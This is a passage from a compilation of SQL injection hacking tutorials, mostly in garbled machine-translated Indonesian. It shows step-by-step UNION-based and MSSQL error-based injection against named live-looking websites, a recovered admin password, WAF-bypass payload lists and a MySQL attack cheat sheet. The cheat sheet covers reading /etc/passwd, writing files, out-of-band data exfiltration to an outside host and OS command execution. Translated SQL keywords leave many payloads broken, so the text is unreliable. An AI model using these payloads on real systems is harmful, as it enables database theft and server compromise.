  1999. Jadi Ada 8 Kolom.
  2000. Sekarang Mari Siapkan perintah UNION BASED kami.
  2001. Setelah Melaksanakan Permintaan BERDASARKAN UNION Kami Punya KESALAHAN:
  2002. http://www.Vuln-Site.com/dettaglio-news.asp?ID=341 Union Select 1,2,3,4,5,6,7,8;% 00
  2003.  
  2004. KESALAHAN:
  2005. Kesalahan Microsoft JET Database Engine '80004005'
  2006. Input kueri harus berisi setidaknya satu tabel atau kueri.
  2007. /dettaglio-news.asp, baris 91
  2008. Di sini Comes The Main part.As jumlah kolom kami benar.jadi sepertinya Database adalah mysql 4.
  2009. Sekarang Kita Harus Menebak Tabel dan Kolom. Jadi Pertama-tama kita akan Tebak Tables.
  2010.  
  2011. http://www.Vuln-Site.com/dettaglio-news.asp?ID=341 Union Pilih 1,2,3,4,5,6,7,8 dari Login;% 00
  2012. itu memberi kita ERROR!
  2013.  
  2014. KESALAHAN:
  2015. Kesalahan Microsoft JET Database Engine '80040e37'
  2016. Mesin database Microsoft Jet tidak dapat menemukan tabel input atau query 'login'. Pastikan itu ada dan namanya dieja dengan benar.
  2017. /dettaglio-news.asp, baris 91
  2018. itu artinya tabel ini tidak ada. Mari coba yang lain.
  2019. http://www.Vuln-Site.com/dettaglio-news.asp?ID=341 Union Pilih 1,2,3,4,5,6,7,8 dari tabladmin;% 00
  2020. Masih Sama ERROR !!
  2021. Namun ketika kami mencoba Tabel ADMIN, Kesalahannya Sudah Hilang.
  2022. http://www.Vuln-Site.com/dettaglio-news.asp?ID=341 Union Pilih 1,2,3,4,5,6,7,8 dari admin;% 00
  2023. Pada Tabel ADMIN, Kesalahan hilang dan kita dapat melihat Kolom yang Rentan di Halaman Web.
  2024.  
  2025. Anda dapat melihat 2,3,6 adalah Kolom yang Rentan. Jadi sekarang kita harus Tebak Kolom. Kita akan menempatkan kolom-kolom kita di Kolom-kolom yang Rentan.
  2026. http://www.Vuln-Site.com/dettaglio-news.asp?ID=341 Union Select 1,2, admin_id, 4,5,6,7,8 dari admin;% 00
  2027. Itu Memberi Kita Kesalahan!
  2028.  
  2029. itu Memberi kami Password = "bEx0Th6
  2030. Jadi kami akan melakukan hal yang sama untuk situs lain untuk disuntikkan ke dalam basis data.
  2031.  
  2032. MENGENAI SEMUA INJEKTOR: *
  2033.  
  2034.  
  2035. Menambahkan Tag HTML di Pertanyaan SQL - Tutorial oleh RAi Jee
  2036. Tag HTML dapat digunakan untuk banyak kesenangan dalam kueri SQL. Kita Dapat menggunakan Tag HTML untuk Membuat Hasil Penuh Warna di Output. Kadang-kadang kita menyuntikkan Situs dan Kolom yang Rentan ada di Judul atau di Halaman Sumber sehingga kita Juga Dapat Menggunakan Tag HTML Ada untuk Menunjukkan Output pada Halaman.
  2037. Jadi Kami Akan Mulai Menambahkan Tag HTML Untuk Membuat Output Beberapa Warna Penuh.
  2038. Berikut ini contohnya. Kami ingin Mencetak Versi dalam Warna MERAH Jadi Berikut adalah TAG HTML kami untuk Menampilkan Versi dalam Warna MERAH.
  2039. <font color = red>
  2040.  
  2041. Concat (OUR_HTML_TAG, QUERY_HERE)
  2042.  
  2043. mari Lihat Hasil. Sebelum Melaksanakan Query First Encode HTML TAG di Hex Value atau Use Single Quote Sebelum dan Sesudah Tag HTML Agar Dapat Dieksekusi
  2044.  
  2045. http://www.kimclement.com/basiccal/event.php
  2046. ? id = -444 'UNION SELECT 1,2,3,4,5,6, Concat (' <font color = red> ', versi ()), 8,9 - +
  2047.  
  2048. Dan Anda dapat Lihat Versi dalam warna MERAH. jika kita ingin menggunakan Warna yang Berbeda untuk Setiap Perintah Seperti Menampilkan Versi dalam Warna MERAH, Basis Data dalam Warna Hijau, Pengguna dalam Warna Biru sehingga akan menggunakan Tag HTML yang berbeda untuk setiap Tugas.
  2049. Lihat Contoh.
  2050. Concat (Versi Warna MERAH, Basis Data dalam Warna Hijau, Pengguna dengan Warna Biru)
  2051. Tag HTML Untuk Setiap Tugas:
  2052. Warna merah: <font color = red>
  2053. Warna Hijau: <font color = green>
  2054. Warna Biru: <font color = blue>
  2055. Jadi Pertanyaan Terakhir Kami Untuk Menampilkan Setiap tugas dalam warna yang berbeda Akan menjadi,
  2056. Concat (<font color = red>, versi (), <font color = green>, database (), <font color = blue>, pengguna ())
  2057. Lihat Contoh.
  2058. http://www.kimclement.com/basiccal/event.php
  2059. ? id = -444 'UNION SELECT 1,2,3,4,5,6, Concat (' <font color = red> ', versi (), 0x3a,' <font color = green> ', database (), 0x3a, '<font color = blue>', pengguna ()), 8,9 - +
  2060.  
  2061. Dan Lihat gambar semua Tugas Lengkap. Dengan cara ini Anda Juga Dapat Menampilkan Tabel dan Kolom dalam Warna yang berbeda.
  2062. Setelah Menampilkan Perintah SQLi dalam Berbagai Warna.
  2063. Sekarang, mari kita lihat bagaimana kita bisa menampilkan data ketika kolom rentan kita di halaman sumber atau di TiTLE menggunakan HTML TAGS.
  2064. Ketika Kolom Rentan ada di Halaman Sumber.
  2065. Concat (STARTING_HTML_TAG, OUR_QUERY, ENDING_HTML_TAG)
  2066. jadi kami akan menggunakan TAG HTML ini untuk Menampilkan Data pada Halaman jika Kolom Rawan Kami ada di halaman Sumber.
  2067.  
  2068. TAG HTML: Concat (<font size = "8" color = "red">, Versi (), </ font>)
  2069.  
  2070. dan kadang-kadang Kolom Rentan kami ada di Judul sehingga dalam hal ini kami akan menggunakan Tag HTML ini untuk Mencetak Data di Halaman Web
  2071.  
  2072. TAG HTML: Concat (</ title>, Version ())
  2073.  
  2074. gunakan Tag HTML ini setelah pengkodean dalam Hex Value atau PUT Single Quote sebelum dan sesudah Tag HTML untuk membuat Query Executable.
  2075.  
  2076. ©
  2077.  
  2078. When you try to access server with your SQL WAF will stop you again. You might have more luck if WAF controls only GET requests and you inject with POST.
  2079.  
  2080. SQLi Waf Behaviours
  2081.  
  2082. union select 1,2,3,4-- - [<---WAF
  2083.  
  2084. /*!union*/ select 1,2,3,4-- - [<--- No WAF
  2085.  
  2086. /*!union*/ select 1,group_concat(),3,4-- - [<--NO -WAF
  2087.  
  2088. /*!union*/ select 1,group_concat(table_name),3,4-- - [<---WAF
  2089.  
  2090. /*!union*/ select 1,group_concat(/*!table_name*/),3,4-- - [<--- No WAF
  2091.  
  2092. /*!union*/ select 1,group_concat(/*!table_name*/),3,4 from -- - [<---No WAF
  2093.  
  2094. /*!union*/ select 1,group_concat(/*!table_name*/),3,4 from information_schema.tables-- - [<---No WAF
  2095.  
  2096. /*!union*/ select 1,group_concat(/*!table_name*/),3,4 from information_schema.tables where-- - [<---WAF
  2097.  
  2098. /*!union*/ select 1,group_concat(/*!table_name*/),3,4 from information_schema.tables /*!where*/-- - [<---No WAF
  2099.  
  2100. /*!union*/ select 1,group_concat(/*!table_name*/),3,4 from information_schema.tables /*!where*/ table_schema-- - [<---No WAF
  2101.  
  2102. /*!union*/ select 1,group_concat(/*!table_name*/),3,4 from information_schema.tables /*!where*/ table_schema=database()-- - [<---No WAF
  2103.  
  2104. -h
  2105.  
  2106. Tools of Online Crytography
  2107.  
  2108. HEADER AND POST DATA SQLI AND LOOKING DEEP INTO VULNERABLE SUCH AS XSS
  2109. https://www.hurl.it/
  2110. http://requestmaker.com/
  2111. http://headers.cloxy.net/
  2112. http://www.rexswain.com/
  2113.  
  2114. http://www.cryptool-online.org/index.php?option=com_cto&view=tool&Itemid=139&lang=en
  2115. Base 64
  2116. enigmaco
  2117. http://www.swingnote.com/tools/texttohex.php
  2118. http://des.online-domain-tools.com/
  2119.  
  2120. http://www.verexif.com/en/
  2121. http://www.extractmetadata.com/
  2122. http://metapicz.com/#landing
  2123.  
  2124. https://www.google.co.kr/search?biw=1280&bih=617&q=cryptography+converter+online&oq=Cryptography+convert&gs_l=serp.1.1.0j0i22i30.2581.5076.0.7002.13.13.0.0.0.0.143.1345.5j8.13.0....0...1c.1.64.serp..0.13.1344.BK2uvc9iKTo
  2125.  
  2126. Gematria Primus count: http://codeseekah.com/cicada/count.html
  2127. http://www.unit-conversion.info/texttools/hexadecimal/
  2128. XOR: http://md5decrypt.net/en/Xor/
  2129. http://www.braingle.com/brainteasers/codes/index.php
  2130. ASCII HEX DEC BIN converter: http://home.paulschou.net/tools/xlate/
  2131.  
  2132. ASCI HEX DEC OCTAL converter: http://redir.dasumo.com/hex/
  2133.  
  2134. Steganography software: http://www.jjtc.com/Steganography/tools.html
  2135. https://www.base64-image.de/
  2136. http://b64.io/
  2137. https://xcode.darkbyte.ru/
  2138. http://manytools.org/hacker-tools/steganography-encode-text-into-image/
  2139. http://decodebase64.com/
  2140. https://convertio.co/txt-jpg/
  2141. Anagram solver: http://www.ssynth.co.uk/~gay/anagram.html
  2142.  
  2143. Rumkin old ciphers: http://rumkin.com/tools/cipher/index.php
  2144. PGP https://www.igolder.com/pgp/encryption/
  2145. http://www.hanewin.net/encrypt/PGdecode.htm
  2146. Exif:
  2147. http://www.garykessler.net/library/fsc_stego.html
  2148. AES, Salsa20, and Twofish
  2149. http://www.gematrix.org/
  2150. https://infotomb.com/m/welcome
  2151. http://morsecode.scphillips.com/translator.html
  2152. http://www.online-toolz.com/tools/text-encryption-decryption.php
  2153. http://www.unit-conversion.info/texttools/morse-code/
  2154. https://futureboy.us/stegano/
  2155.  
  2156. -h
  2157.  
  2158. BYPASSING ERROR
  2159.  
  2160. Hmmm kita akan mulai dengan Injecting normal kami. Kami menemukan situs dari Google saat menyuntik dan rentan terhadap injeksi SQL.
  2161. Pertama kita akan menghitung jumlah total kolom.
  2162.  
  2163. http://www.TARGET.com/product.php?id=35 pesanan sebesar 5-- -
  2164.  
  2165. Tidak Ada Kesalahan!
  2166.  
  2167. http://www.TARGET.com/product.php?id=35 pesanan sebesar 6-- -
  2168.  
  2169. Sekali lagi Situs dimuat Biasanya dan Tidak Ada Kesalahan!
  2170.  
  2171. http://www.TARGET.com/product.php?id=35 pesanan sebesar 7-- -
  2172.  
  2173. Sekarang Kita Punya Kesalahan di sini
  2174.  
  2175. Kolom tidak dikenal '7' di 'pesanan klausa'
  2176.  
  2177. Berarti Ada Total 6 Jumlah Kolom.
  2178.  
  2179. Memungkinkan Jalankan UNION BASED Query kami.
  2180.  
  2181. http://www.TARGET.com/product.php?id=35 dan 0 Union SELECT 1,2,3,4,5,6-- -
  2182.  
  2183. Setelah mengeksekusi UNION BASED Query, kami Punya Kesalahan.
  2184.  
  2185. Kesalahan fatal: Ukuran memori yang diizinkan sebesar 536870912 byte habis (mencoba mengalokasikan 534511572 byte) di /home/XXXX/public_html/cat_ver_producto.php pada baris 166
  2186.  
  2187. Masalahnya adalah dengan Memori PHP Server. Kami Akan menggunakan Nilai NULL daripada menempatkan Kolom Nomor di sana untuk Memotong Server Penggunaan Memori PHP untuk Query SQL kami.
  2188.  
  2189. Setelah Menempatkan nilai NULL, Kueri Kita Akan Jadi.
  2190. http://www.TARGET.com/product.php?id=35 dan 0 Union SELECT null, null, null, null, null, null-- -
  2191.  
  2192. Sekarang ERROR GONE !!
  2193.  
  2194. Karena kami menggunakan Null Values, kami tidak tahu Kolom mana yang Rentan. Jadi untuk menemukan Kolom yang Rentan, Kita Berikan Perintah Versi () satu per satu di setiap Kolom sampai Memberi Kita Hasil Apapun.
  2195.  
  2196. http://www.TARGET.com/product.php?id=35 dan 0 versi PILIH Union (), null, null, null, null, null-- -
  2197.  
  2198. Setelah mengecek Kolom pertama selanjutnya Periksa Yang Lain dan kemudian Lain lagi sampai kami Mendapat Hasilnya. Dengan Cara Ini kami Akan Memeriksa Semua Kolom dan Akan Menemukan Kolom Yang Rentan.
  2199.  
  2200. Ketika kami akan menemukan Kolom yang Rentan kami, maka kami dapat menempatkan Permintaan kami untuk Tabel dan Kolom di Kolom yang rentan itu.
  2201. jika Anda Tidak Tahu Bagaimana Mendapatkan Tabel Dan Kolom Kemudian.
  2202.  
  2203. -h
  2204.  
  2205.  
  2206. Memotong Mix of Collations yang ilegal - Tutorial
  2207. Dengan suntik pikiran
  2208. Hanya 4 no0b seperti saya
  2209. Dalam Tutorial ini Anda Akan Mempelajari Cara Melepaskan Campuran Kolasi ilegal.
  2210. Mari kita mulai dengan injeksi SQL Reguler kami.
  2211. Target kami.
  2212. http://www.Site.com/detail.php?id=31
  2213. Pertama kita harus Hitung Berapa Banyak Kolom yang dimilikinya.
  2214. http://www.Site.com/detail.php?id=31 pesanan oleh 1-- -
  2215. Tidak Ada Kesalahan!
  2216. http://www.Site.com/detail.php?id=31 pesanan oleh 4-- -
  2217. Tidak Ada Kesalahan!
  2218. http://www.Site.com/detail.php?id=31 pesanan sebesar 6-- -
  2219. Kami Punya Kesalahan Di Sini.
  2220. Kolom Tidak Diketahui '6' di 'pesanan oleh'
  2221. Memungkinkan Mengurangi Jumlah Kolom.
  2222. http://www.Site.com/detail.php?id=31 pesanan sebesar 5-- -
  2223. Tidak Ada Kesalahan!
  2224. Ada 5 Kolom jadi ayo Siapkan UNION SELECT Command dan Cari Kolom yang Rentan.
  2225. http://www.Site.com/detail.php?id=31 dan 0 Union Select 1,2,3,4,5-- -
  2226. Kami Punya 2 dan 3.
  2227. Mari mencoba untuk Dapatkan The Tables.
  2228. http://www.Site.com/detail.php?id=31 dan 0 Union Select 1, concat (table_name), 3,4,5 dari information_schema.tables di mana table_schema = database () - -
  2229. Ooops !! kami mendapat Kesalahan Di Sini.
  2230. Campuran ilegal dari kolasi untuk operasi 'UNION'
  2231. Berikut Beberapa Metode yang dapat kita gunakan untuk Melewatkan campuran ilegal dari pengumpulan untuk operasi 'UNION'
  2232. .1 Menggunakan UNCOMPRESS (COMPRESS (our_query_here))
  2233. http://www.Site.com/detail.php?id=31 dan 0 Union Select 1, uncompress (kompres (concat (table_name))), 3,4,5 dari information_schema.tables di mana table_schema = database () - - -
  2234. DIKECEPATAN !!
  2235. .2 Menggunakan UNHEX (HEX (our_query_here))
  2236. http://www.Site.com/detail.php?id=31 dan 0 Union Select 1, unhex (hex (concat (table_name))), 3,4,5 dari information_schema.tables di mana table_schema = database () - - -
  2237. DIKECEPATAN !!
  2238. .3 Menggunakan CAST ()
  2239. http://www.Site.com/detail.php?id=31 dan 0 Union Select 1, cast (table_name sebagai binary), 3,4,5 dari information_schema.tables di mana table_schema = database () - -
  2240. DIKECEPATAN !!
  2241. .4 Menggunakan CONVERT ()
  2242. http://www.Site.com/detail.php?id=31 dan 0 Union Select 1, konversikan (table_name menggunakan ascii), 3,4,5 dari information_schema.tables di mana table_schema = database () - -
  2243. DIKECEPATAN !!
  2244. BEBERAPA METODE ADVANCE untuk CONVERT ()
  2245. Dalam CONVERT () Fungsi jika ascii tidak berfungsi maka kita dapat menggunakan Fungsi ini sebagai ganti ascii.
  2246. ujis
  2247. ucs2
  2248. tis620
  2249. swe7
  2250. sjis
  2251. macroman
  2252. macce
  2253. latin7
  2254. latin5
  2255. latin2
  2256. koi8u
  2257. koi8r
  2258. keybcs2
  2259. hp8
  2260. geostd8
  2261. gbk
  2262. gb2132
  2263. armscii8
  2264. ascii
  2265. cp1250
  2266. big5
  2267. cp1251
  2268. cp1256
  2269. cp1257
  2270. cp850
  2271. cp852
  2272. cp866
  2273. cp932
  2274. dec8
  2275. euckr
  2276. latin1
  2277. Semoga ini akan membantu Anda di masa depan
  2278.  
  2279. Terima kasih untuk saudara tutorialnya: *
  2280.  
  2281. -h
  2282.  
  2283.  
  2284. filtered Requested
  2285. # tables #
  2286. group_concat(/*!table_name*/)
  2287. +/*!froM*/ /*!InfORmaTion_scHema*/.tAblES– -
  2288.  
  2289. or
  2290.  
  2291. /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=schEMA()– -
  2292.  
  2293. or
  2294.  
  2295. /*!From*/+%69nformation_schema./**/tAblES+/*!50000Where*/+/*!%54able_ScHEmA*/=schEMA()– -
  2296.  
  2297. Union Select bypass
  2298.  
  2299. &id=10 %26%26 NULL union/**/DistinctRow select 1,2-- -
  2300. &id=@ Or 1<0 union/**/DistinctRow select 1,2-- -
  2301. &id=@<0union/**/DistinctRow select 1,2-- -
  2302.  
  2303. QUERY RESUME ? :D
  2304. Version:
  2305. SELECT VERSION()
  2306. SELECT @@version
  2307. SELECT @@version_comment
  2308. SELECT @@version_compile_machine
  2309. SELECT @@version_compile_os
  2310. Directories:
  2311. SELECT @@basedir
  2312. SELECT @@tmpdir
  2313. SELECT @@datadir
  2314. Users:
  2315. SELECT USER()
  2316. SELECT SYSTEM_USER()
  2317. SELECT SESSION_USER()
  2318. SELECT CURRENT_USER()
  2319. Current Database:
  2320. SELECT DATABASE()
  2321. Concatenation:
  2322. SELECT CONCAT('foo','.','bar'); #Returns: foo.bar
  2323. SELECT CONCAT_WS(' ','Hello','MySQL','and','hello','world!'); #Retu
  2324. Multi-Concat:
  2325. #Stacks the row "foo" from the table "bar" together, using the separa
  2326. #Note: This operation can by default only grab 1024 bytes, and do no
  2327. #The 1024 byte limit is stored in the @@group_concat_max_len variabl
  2328. SELECT GROUP_CONCAT(foo SEPARATOR '<br />') FROM bar
  2329. Better-Concat:
  2330. #CONCAT() and CONCAT_WS() do not have the same restriction(s) as GROU
  2331. #Which therefor allows you to concat strings together up to the @@ma
  2332. #instead of @@group_concat_max_len. The default value for @@max_allo
  2333. #1048576 bytes, instead of @@group_concat_max_len's 1024.
  2334. SELECT (CONCAT_WS(0x3A,(SELECT CONCAT_WS(0x2E,table_schema,table_name
  2335. Change Collation:
  2336. SELECT CONVERT('test' USING latin1); #Converts "test" to latin1 from
  2337. SELECT CONVERT('rawr' USING utf8); #Converts "rawr" to utf8.
  2338. Wildcards in SELECT(s):
  2339. SELECT foo FROM bar WHERE id LIKE 'test%'; #Returns all COLUMN(s) st
  2340. SELECT foo FROM bar WHERE id LIKE '%test'; #Returns all COLUMN(s) en
  2341. Regular Expression in SELECT(s):
  2342. #Returns all columns matching the regular expression.
  2343. SELECT foo FROM bar WHERE id RLIKE '(moo|rawr).*'
  2344. SELECT Without Dublicates:
  2345. SELECT DISTINCT foo FROM bar
  2346. Counting Columns:
  2347. SELECT COUNT(foo) FROM bar; #Returns the amount of rows "foo" from t
  2348. Get Amount of MySQL Users:
  2349. SELECT COUNT(user) FROM mysql.user
  2350. Get MySQL Users:
  2351. SELECT user FROM mysql.user
  2352. Get MySQL User Privileges:
  2353. SELECT grantee,privilege_type,is_grantable FROM information_schema.us
  2354. Get MySQL User Privileges on Different Databases:
  2355. SELECT grantee,table_schema,privilege_type FROM information_schema.sc
  2356. Get MySQL User Privileges on Different Columns:
  2357. SELECT table_schema,table_name,column_name,privilege_type FROM infor
  2358. Get MySQL User Credentials & Privileges:
  2359. SELECT CONCAT_WS(0x2E,host,user,password,Select_priv,Insert_priv,Upd
  2360. Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,
  2361. File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_p
  2362. Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_
  2363. Repl_client_priv) FROM mysql.user
  2364. Get MySQL DBA Accounts:
  2365. SELECT grantee,privilege_type,is_grantable FROM information_schema.us
  2366. SELECT host,user FROM mysql.user WHERE Super_priv='Y'
  2367. Get Databases:
  2368. SELECT schema_name FROM information_schema.schemata
  2369. SELECT DISTINCT db FROM mysql.db
  2370. SELECT DISTINCT table_schema FROM information_schema.columns
  2371. SELECT DISTINCT table_schema FROM information_schema.tables
  2372. Get Databases & Tables:
  2373. SELECT table_schema,table_name FROM information_schema.tables
  2374. SELECT DISTINCT table_schema,table_name FROM information_schema.colu
  2375. Get Databases, Tables & Columns:
  2376. SELECT table_schema,table_name,column_name FROM information_schema.c
  2377. SELECT A Certain Row:
  2378. SELECT foo FROM bar LIMIT 0,1; #Returns row 0.
  2379. SELECT foo FROM bar LIMIT 1,1; #Returns row 1.
  2380. ...
  2381. SELECT foo FROM bar LIMIT N,1; #Returns row N.
  2382. Benchmark (Heavy Query):
  2383. #Performs an MD5 calculation of "1" for 10000 times.
  2384. SELECT BENCHMARK(10000,MD5(1))
  2385. Sleep:
  2386. #Works only in MySQL 5 and above.
  2387. #Sleeps for 5 seconds, returns 0 on success.
  2388. SELECT SLEEP(5)
  2389. Conversion (Casting):
  2390. SELECT CAST('1' AS UNSIGNED INTEGER); #Returns: 1
  2391. SELECT CAST('65' AS CHAR); #Returns: A
  2392. Substring:
  2393. SELECT SUBSTR('foobar',1,3); #Returns: foo
  2394. Hexadecimal Evasion:
  2395. SELECT 0x41424344; #Returns: ABCD
  2396. SELECT 0x2E; #Returns: .
  2397. SELECT 0x3A; #Returns: :
  2398. ASCII to Number:
  2399. SELECT ASCII('A'); #Returns: 65
  2400. Number to ASCII:
  2401. SELECT CHAR(65); #Returns: A
  2402. SELECT CHAR(89); #Returns: Y
  2403. SELECT CHAR(116,101,115,116); #Returns: test
  2404. If Statement:
  2405. #Returns 1 if the database is running MySQL 5.
  2406. SELECT IF(ASCII(SUBSTR(VERSION(),1,1))=53,1,0);
  2407. #Returns 1 if the database is running MySQL 4.
  2408. SELECT IF(ASCII(SUBSTR(VERSION(),1,1))=52,1,0);
  2409. Case Statement:
  2410. #Returns 1 if the database is running MySQL 5.
  2411. SELECT CASE WHEN (ASCII(SUBSTR(VERSION(),1,1))=53) THEN 1 ELSE 0 END
  2412. #Returns 1 if the database is running MySQL 4.
  2413. SELECT CASE WHEN (ASCII(SUBSTR(VERSION(),1,1))=52) THEN 1 ELSE 0 END
  2414. Read File(s):
  2415. #Requires you to have the File_priv in mysql.user. On error this stat
  2416. SELECT LOAD_FILE('/etc/passwd')
  2417. Write File(s):
  2418. #You must use quotes on the filename!
  2419. SELECT 'Hello World' INTO DUMPFILE '/tmp/test.txt'
  2420. SELECT IF((SELECT NULL INTO DUMPFILE '/tmp/test.txt')=NULL,NULL,'Hel
  2421. Logical Operator(s):
  2422. AND, &&; #The AND operator have && as an alternative syntax.
  2423. OR, ||; #The OR operator have || as an alternative syntax.
  2424. NOT, !; #The NOT operator have ! as an alternative syntax.
  2425. XOR; #The XOR operator got no alternative syntax.
  2426. Fuzzy Code Comment:
  2427. #Code within /*! are getting executed by MySQL. Additional /*! can be
  2428. SELECT/*!CONCAT_WS(0x3A,user,host,password)/*!FROM/*!mysql.user*/
  2429. Comments:
  2430. SELECT foo, bar FROM foo.bar-- Single line comment
  2431. SELECT foo, bar FROM foo.bar/* Multi line comment */
  2432. SELECT foo, bar FROM foo.bar# Single line comment
  2433. SELECT foo, bar FROM foo.bar;%00 Batched query with additional NULL-
  2434. A few evasions/methods to use between your MySQL statements:
  2435. CR (%0D); #Carrier Return.
  2436. LF (%0A); #Line Feed.
  2437. Tab (%09); #The Tab-key.
  2438. Space (%20); #Most commonly used. You know what a space is.
  2439. Multiline Comment (/**/); #Well, as the name says.
  2440. Fuzzy Comment (/*!); #Be sure to end your query with (*/)
  2441. Parenthesis, ( and ); #Can also be used as separators when used right
  2442. Parenthesis instead of space:
  2443. #As said two lines above, the use of parenthesis can be used as a sep
  2444. SELECT * FROM foo.bar WHERE id=(-1)UNION(SELECT(1),(2))
  2445. Auto-Casting to Right Collation:
  2446. SELECT UNHEX(HEX(USER())); #UNHEX() Converts the hexadecimal value(s)
  2447. DNS Requests (OOB (Out-Of-Band)):
  2448. #For more information check this.
  2449. SELECT YourQuery INTO OUTFILE ‘\\\\www.your.host.com\\?file_to_save_a
  2450. Command Execution:
  2451. #If you're on a MySQL 4.X server, it's possible to execute OS comman
  2452. #It can be done if you're able to upload a shared object into /usr/
  2453. #The file extension is .so, and it must contain an "User Defined Fun
  2454. #Get raptor_udf.c, it's the source-code for just that feature.
  2455. #Remember to compile it for the right CPU Architecture.
  2456. #The CPU architecture can be resolved by this query:
  2457. SELECT @@version_machine;
  2458. <blockquote>A couple of useful blind queries to fingerprint the data
  2459. All of these return either True or False, as in, you either get a res
  2460. SELECT * FROM foo.bar WHERE id=1 AND ASCII(SUBSTR(VERSION(),1,1))=53;
  2461. SELECT * FROM foo.bar WHERE id=1 AND ASCII(SUBSTR(VERSION(),1,1))=52
  2462. Running as root:
  2463. SELECT * FROM foo.bar WHERE id=1 AND IF((SELECT SUBSTR(USER(),1,4))=U
  2464. Got File_priv:
  2465. SELECT * FROM foo.bar WHERE id=1 AND IF((SELECT File_priv FROM mysql.user
  2466. (CONCAT_WS(CHAR(64),User,Host) LIKE USER()) OR
  2467. (CONCAT(User,UNHEX(HEX(0x4025))) LIKE USER()) OR
  2468. (CONCAT_WS(CHAR(64),User,Host) LIKE CONCAT(SUBSTR(USER(),1,INSTR(US
  2469. LIMIT 0,1)=CHAR(89),1,0)=1
  2470. Got Super_priv (Are we DBA):
  2471. SELECT * FROM foo.bar WHERE id=1 AND IF((SELECT Super_priv FROM mysql
  2472. (CONCAT_WS(CHAR(64),User,Host) LIKE USER()) OR
  2473. (CONCAT(User,UNHEX(HEX(0x4025))) LIKE USER()) OR
  2474. (CONCAT_WS(CHAR(64),User,Host) LIKE CONCAT(SUBSTR(USER(),1,INSTR(US
  2475. LIMIT 0,1)=CHAR(89),1,0)=1
  2476. Can MySQL Sleep:
  2477. #This query will return True and should take above 1 second to execut
  2478. SELECT * FROM foo.bar WHERE id=1 AND IF((SELECT SLEEP(1))=0,1,0)=1
  2479. Can MySQL Benchmark:
  2480. SELECT * FROM foo.bar WHERE id=1 AND IF(BENCHMARK(1,MD5(0))=0,1,0)=1
  2481. Are we on *NIX:
  2482. SELECT * FROM foo.bar WHERE id=1 AND ASCII(SUBSTR(@@datadir,1,1))=47
  2483. Are we on Windows:
  2484. SELECT * FROM foo.bar WHERE id=1 AND IF(ASCII(SUBSTR(@@datadir,2,1))=
  2485. Do a certain column exist:
  2486. SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(column_name) FROM information
  2487. Do a certain table exist:
  2488. SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(table_name) FROM
  2489. SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(table_name) FROM
  2490. Do a certain database exist:
  2491. SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(table_schema) FROM
  2492. SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(table_schema) FROM
  2493. SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(schema_name) FROM information
  2494. SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(db) FROM mysql.db
  2495. from:h.ackack(dot)net
  2496.  
  2497. Credits to owner :*
  2498. thanks
  2499.  
  2500. INJEKSI MSSQL MENGGUNAKAN KONVERSI
  2501.  
  2502. Kita mendapat target dan mari kita periksa apakah itu Rentan untuk disuntikkan. Jadi kita akan Jalankan URL dengan Menambahkan Kutipan Tunggal "'" di Akhir Jika Parameter Target.
  2503. http://www.Vuln-Site.com/authorprofile.asp?id=46 '
  2504. Ini Memberi Kita Kesalahan
  2505.  
  2506. KESALAHAN:
  2507. Penyedia Microsoft OLE DB untuk ODBC Drivers error '80040e14'
  2508. [Microsoft] [ODBC SQL Server Driver] [SQL Server] Tanda kutip uncomposed setelah string karakter ''.
  2509. /authorprofile.asp, baris 10
  2510.  
  2511. Situs Target kami adalah Rentan. Seperti kita Suntik dengan Serangan Konversikan Jadi kita tidak perlu Pergi Untuk Menghitung Jumlah Kolom Total. Kami akan langsung mengeksekusi Perintah kami dengan Konversi.
  2512. Mari Periksa Versi.
  2513. http://www.Vuln-Site.com/authorprofile.asp?id=46 dan 1 = konversi (int, @@ version) -
  2514. Setelah Melaksanakan Permintaan Kami Mendapat Versi.
  2515.  
  2516. Berikut ini adalah Versi: Microsoft SQL Server 2012 - 11.0.5582.0 (X64) Feb 27 2015 18:10:15 Hak cipta (c) Microsoft Corporation Web Edition (64-bit) pada Windows NT 6.1 <X64> (Build 7601: Paket Layanan 1 )
  2517. Penyedia Microsoft OLE DB untuk ODBC Drivers error '80040e07'
  2518. [Microsoft] [ODBC SQL Server Driver] [SQL Server] Konversi gagal saat mengkonversi nilai nvarchar 'Microsoft SQL Server 2012 - 11.0.5582.0 (X64) Feb 27 2015 18:10:15 Hak Cipta (c) Microsoft Corporation Web Edition (64 -bit) pada Windows NT 6.1 <X64> (Build 7601: Service Pack 1) 'ke tipe data int.
  2519. /authorprofile.asp, baris 10
  2520.  
  2521. Sekarang, mari kita periksa nama database saat ini.
  2522. http://www.Vuln-Site.com/authorprofile.asp?id=46 dan 1 = konversi (int, db_name ()) -
  2523. Dan kami sudah mendapat nama database saat ini.
  2524.  
  2525. Ini adalah Nama Database Saat Ini: museindia
  2526. Penyedia Microsoft OLE DB untuk ODBC Drivers error '80040e07'
  2527. [Microsoft] [ODBC SQL Server Driver] [SQL Server] Konversi gagal ketika mengkonversi nilai nvarchar 'museindia' ke tipe data int.
  2528. /authorprofile.asp, baris 10
  2529.  
  2530. Seperti yang telah kita dapatkan Versi dan nama Database. Sekarang, mari kita pindah ke Getting The Tables.
  2531. Ini adalah pertanyaan kami untuk mendapatkan tabel.
  2532. http://www.Vuln-Site.com/authorprofile.asp?id=46 dan 1 = convert (int, (pilih top 1 table_name dari information_schema.tables)) - +
  2533. Setelah Melaksanakan Kueri, Kita Mendapat Nama Tabel Pertama.
  2534.  
  2535. Nama tabel: tentang
  2536. Penyedia Microsoft OLE DB untuk ODBC Drivers error '80040e07'
  2537. [Microsoft] [ODBC SQL Server Driver] [SQL Server] Konversi gagal ketika mengkonversi nilai nvarchar 'about' ke int tipe data.
  2538. /authorprofile.asp, baris 10
  2539. Untuk Mendapatkan Tabel Lain dari Database, kita akan menambahkan nama Tabel Sebelumnya Terlampir Dengan Kutipan Tunggal dengan Tanda Kecil.
  2540. Sebagai contoh:
